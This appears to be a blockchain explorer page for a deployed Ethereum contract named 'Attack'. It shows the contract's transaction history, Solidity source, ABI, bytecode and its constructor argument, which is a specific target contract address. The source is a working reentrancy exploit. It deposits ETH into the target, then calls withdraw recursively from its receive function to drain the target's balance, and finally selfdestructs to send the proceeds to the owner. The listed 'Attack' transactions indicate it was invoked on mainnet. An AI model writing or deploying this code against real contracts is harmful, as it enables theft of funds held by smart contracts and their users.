Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00Latest 10 from a total of 10 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Attack | 22025268 | 367 days ago | IN | 0.001 ETH | 0.000064 | ||||
| Attack | 22025188 | 367 days ago | IN | 0.001 ETH | 0.00011682 | ||||
| Attack | 22024997 | 367 days ago | IN | 0.0001 ETH | 0.00007588 | ||||
| Attack | 22024957 | 367 days ago | IN | 0.0001 ETH | 0.00008475 | ||||
| Transfer | 22024931 | 367 days ago | IN | 0.002592 ETH | 0.00004039 | ||||
| Attack | 22024803 | 367 days ago | IN | 0 ETH | 0.00005815 | ||||
| Attack | 22024796 | 367 days ago | IN | 0.003 ETH | 0.00015135 | ||||
| Attack | 22024792 | 367 days ago | IN | 0.001 ETH | 0.00016958 | ||||
| Attack | 22024780 | 367 days ago | IN | 0 ETH | 0.00008883 | ||||
| Attack | 22024780 | 367 days ago | IN | 0.0001 ETH | 0.00008883 |
Latest 16 internal transactions
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Transfer | 22025268 | 367 days ago | 0.001 ETH | ||||
| Deposit | 22025268 | 367 days ago | 0.001 ETH | ||||
| Transfer | 22025188 | 367 days ago | 0.001 ETH | ||||
| Deposit | 22025188 | 367 days ago | 0.001 ETH | ||||
| Transfer | 22024997 | 367 days ago | 0.0001 ETH | ||||
| Deposit | 22024997 | 367 days ago | 0.0001 ETH | ||||
| Transfer | 22024957 | 367 days ago | 0.0001 ETH | ||||
| Deposit | 22024957 | 367 days ago | 0.0001 ETH | ||||
| Transfer | 22024796 | 367 days ago | 0.003 ETH | ||||
| Deposit | 22024796 | 367 days ago | 0.003 ETH | ||||
| Transfer | 22024792 | 367 days ago | 0.001 ETH | ||||
| Deposit | 22024792 | 367 days ago | 0.001 ETH | ||||
| Transfer | 22024780 | 367 days ago | 0 ETH | ||||
| Deposit | 22024780 | 367 days ago | 0 ETH | ||||
| Transfer | 22024780 | 367 days ago | 0.0001 ETH | ||||
| Deposit | 22024780 | 367 days ago | 0.0001 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
Attack
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-03-11
*/
pragma solidity ^0.8.2;
interface IToken {
function deposit() external payable;
function withdraw(uint amount) external;
function balanceOf(address owner) external view returns (uint);
}
contract Attack {
IToken public target;
address payable public owner;
constructor(address _target) {
target = IToken(_target);
owner = payable(msg.sender);
}
function attack() public payable {
target.deposit{value: msg.value}(); // Депозит ETH для запуску withdraw
target.withdraw(target.balanceOf(address(this))); // Перший виклик withdraw
}
receive() external payable {
if (address(target).balance > 0) {
target.withdraw(1); // Рекурсивний виклик withdraw
} else {
selfdestruct(owner); // Виведення залишку, коли контракт вичерпано
}
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"_target","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"attack","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"target","outputs":[{"internalType":"contract IToken","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
608060405234801561000f575f80fd5b506040516106e83803806106e883398181016040528101906100319190610114565b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503360015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505061013f565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6100e3826100ba565b9050919050565b6100f3816100d9565b81146100fd575f80fd5b50565b5f8151905061010e816100ea565b92915050565b5f60208284031215610129576101286100b6565b5b5f61013684828501610100565b91505092915050565b61059c8061014c5f395ff3fe608060405260043610610037575f3560e01c80638da5cb5b146101465780639e5faafc14610170578063d4b839921461017a57610142565b36610142575f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610106575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d60016040518263ffffffff1660e01b81526004016100d491906103d0565b5f604051808303815f87803b1580156100eb575f80fd5b505af11580156100fd573d5f803e3d5ffd5b50505050610140565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b005b5f80fd5b348015610151575f80fd5b5061015a6101a4565b6040516101679190610428565b60405180910390f35b6101786101c9565b005b348015610185575f80fd5b5061018e610362565b60405161019b9190610493565b60405180910390f35b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0346040518263ffffffff1660e01b81526004015f604051808303818588803b15801561022e575f80fd5b505af1158015610240573d5f803e3d5ffd5b50505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016102d891906104cc565b602060405180830381865afa1580156102f3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103179190610513565b6040518263ffffffff1660e01b8152600401610333919061054d565b5f604051808303815f87803b15801561034a575f80fd5b505af115801561035c573d5f803e3d5ffd5b50505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f819050919050565b5f819050919050565b5f819050919050565b5f6103ba6103b56103b084610385565b610397565b61038e565b9050919050565b6103ca816103a0565b82525050565b5f6020820190506103e35f8301846103c1565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610412826103e9565b9050919050565b61042281610408565b82525050565b5f60208201905061043b5f830184610419565b92915050565b5f61045b610456610451846103e9565b610397565b6103e9565b9050919050565b5f61046c82610441565b9050919050565b5f61047d82610462565b9050919050565b61048d81610473565b82525050565b5f6020820190506104a65f830184610484565b92915050565b5f6104b6826103e9565b9050919050565b6104c6816104ac565b82525050565b5f6020820190506104df5f8301846104bd565b92915050565b5f80fd5b6104f28161038e565b81146104fc575f80fd5b50565b5f8151905061050d816104e9565b92915050565b5f60208284031215610528576105276104e5565b5b5f610535848285016104ff565b91505092915050565b6105478161038e565b82525050565b5f6020820190506105605f83018461053e565b9291505056fea2646970667358221220ffad18511d54b9309e3ab173c59c8bbaffb9bb6ff8c856c63a185a50d98d3a0064736f6c634300081a00330000000000000000000000004cf522b563c9dd0b8084c45071d71a3dd41cca96
Deployed Bytecode
0x608060405260043610610037575f3560e01c80638da5cb5b146101465780639e5faafc14610170578063d4b839921461017a57610142565b36610142575f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610106575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d60016040518263ffffffff1660e01b81526004016100d491906103d0565b5f604051808303815f87803b1580156100eb575f80fd5b505af11580156100fd573d5f803e3d5ffd5b50505050610140565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b005b5f80fd5b348015610151575f80fd5b5061015a6101a4565b6040516101679190610428565b60405180910390f35b6101786101c9565b005b348015610185575f80fd5b5061018e610362565b60405161019b9190610493565b60405180910390f35b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0346040518263ffffffff1660e01b81526004015f604051808303818588803b15801561022e575f80fd5b505af1158015610240573d5f803e3d5ffd5b50505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016102d891906104cc565b602060405180830381865afa1580156102f3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103179190610513565b6040518263ffffffff1660e01b8152600401610333919061054d565b5f604051808303815f87803b15801561034a575f80fd5b505af115801561035c573d5f803e3d5ffd5b50505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f819050919050565b5f819050919050565b5f819050919050565b5f6103ba6103b56103b084610385565b610397565b61038e565b9050919050565b6103ca816103a0565b82525050565b5f6020820190506103e35f8301846103c1565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610412826103e9565b9050919050565b61042281610408565b82525050565b5f60208201905061043b5f830184610419565b92915050565b5f61045b610456610451846103e9565b610397565b6103e9565b9050919050565b5f61046c82610441565b9050919050565b5f61047d82610462565b9050919050565b61048d81610473565b82525050565b5f6020820190506104a65f830184610484565b92915050565b5f6104b6826103e9565b9050919050565b6104c6816104ac565b82525050565b5f6020820190506104df5f8301846104bd565b92915050565b5f80fd5b6104f28161038e565b81146104fc575f80fd5b50565b5f8151905061050d816104e9565b92915050565b5f60208284031215610528576105276104e5565b5b5f610535848285016104ff565b91505092915050565b6105478161038e565b82525050565b5f6020820190506105605f83018461053e565b9291505056fea2646970667358221220ffad18511d54b9309e3ab173c59c8bbaffb9bb6ff8c856c63a185a50d98d3a0064736f6c634300081a0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000004cf522b563c9dd0b8084c45071d71a3dd41cca96
-----Decoded View---------------
Arg [0] : _target (address): 0x4cf522B563c9DD0B8084C45071d71A3Dd41Cca96
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000004cf522b563c9dd0b8084c45071d71a3dd41cca96
Deployed Bytecode Sourcemap
209:758:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;726:1;708:6;;;;;;;;;;;700:23;;;:27;696:261;;;744:6;;;;;;;;;;:15;;;760:1;744:18;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;696:261;;;856:5;;;;;;;;;;;843:19;;;696:261;209:758;;;;;259:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;414:236;;;:::i;:::-;;232:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;259:28;;;;;;;;;;;;;:::o;414:236::-;458:6;;;;;;;;;;:14;;;480:9;458:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;556:6;;;;;;;;;;:15;;;572:6;;;;;;;;;;:16;;;597:4;572:31;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;556:48;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;414:236::o;232:20::-;;;;;;;;;;;;:::o;7:85:1:-;52:7;81:5;70:16;;7:85;;;:::o;98:77::-;135:7;164:5;153:16;;98:77;;;:::o;181:60::-;209:3;230:5;223:12;;181:60;;;:::o;247:158::-;305:9;338:61;356:42;365:32;391:5;365:32;:::i;:::-;356:42;:::i;:::-;338:61;:::i;:::-;325:74;;247:158;;;:::o;411:147::-;506:45;545:5;506:45;:::i;:::-;501:3;494:58;411:147;;:::o;564:238::-;665:4;703:2;692:9;688:18;680:26;;716:79;792:1;781:9;777:17;768:6;716:79;:::i;:::-;564:238;;;;:::o;808:126::-;845:7;885:42;878:5;874:54;863:65;;808:126;;;:::o;940:104::-;985:7;1014:24;1032:5;1014:24;:::i;:::-;1003:35;;940:104;;;:::o;1050:142::-;1153:32;1179:5;1153:32;:::i;:::-;1148:3;1141:45;1050:142;;:::o;1198:254::-;1307:4;1345:2;1334:9;1330:18;1322:26;;1358:87;1442:1;1431:9;1427:17;1418:6;1358:87;:::i;:::-;1198:254;;;;:::o;1458:142::-;1508:9;1541:53;1559:34;1568:24;1586:5;1568:24;:::i;:::-;1559:34;:::i;:::-;1541:53;:::i;:::-;1528:66;;1458:142;;;:::o;1606:126::-;1656:9;1689:37;1720:5;1689:37;:::i;:::-;1676:50;;1606:126;;;:::o;1738:139::-;1801:9;1834:37;1865:5;1834:37;:::i;:::-;1821:50;;1738:139;;;:::o;1883:157::-;1983:50;2027:5;1983:50;:::i;:::-;1978:3;1971:63;1883:157;;:::o;2046:248::-;2152:4;2190:2;2179:9;2175:18;2167:26;;2203:84;2284:1;2273:9;2269:17;2260:6;2203:84;:::i;:::-;2046:248;;;;:::o;2300:96::-;2337:7;2366:24;2384:5;2366:24;:::i;:::-;2355:35;;2300:96;;;:::o;2402:118::-;2489:24;2507:5;2489:24;:::i;:::-;2484:3;2477:37;2402:118;;:::o;2526:222::-;2619:4;2657:2;2646:9;2642:18;2634:26;;2670:71;2738:1;2727:9;2723:17;2714:6;2670:71;:::i;:::-;2526:222;;;;:::o;2835:117::-;2944:1;2941;2934:12;3081:122;3154:24;3172:5;3154:24;:::i;:::-;3147:5;3144:35;3134:63;;3193:1;3190;3183:12;3134:63;3081:122;:::o;3209:143::-;3266:5;3297:6;3291:13;3282:22;;3313:33;3340:5;3313:33;:::i;:::-;3209:143;;;;:::o;3358:351::-;3428:6;3477:2;3465:9;3456:7;3452:23;3448:32;3445:119;;;3483:79;;:::i;:::-;3445:119;3603:1;3628:64;3684:7;3675:6;3664:9;3660:22;3628:64;:::i;:::-;3618:74;;3574:128;3358:351;;;;:::o;3715:118::-;3802:24;3820:5;3802:24;:::i;:::-;3797:3;3790:37;3715:118;;:::o;3839:222::-;3932:4;3970:2;3959:9;3955:18;3947:26;;3983:71;4051:1;4040:9;4036:17;4027:6;3983:71;:::i;:::-;3839:222;;;;:::o
Swarm Source
ipfs://ffad18511d54b9309e3ab173c59c8bbaffb9bb6ff8c856c63a185a50d98d3a00
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 33 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.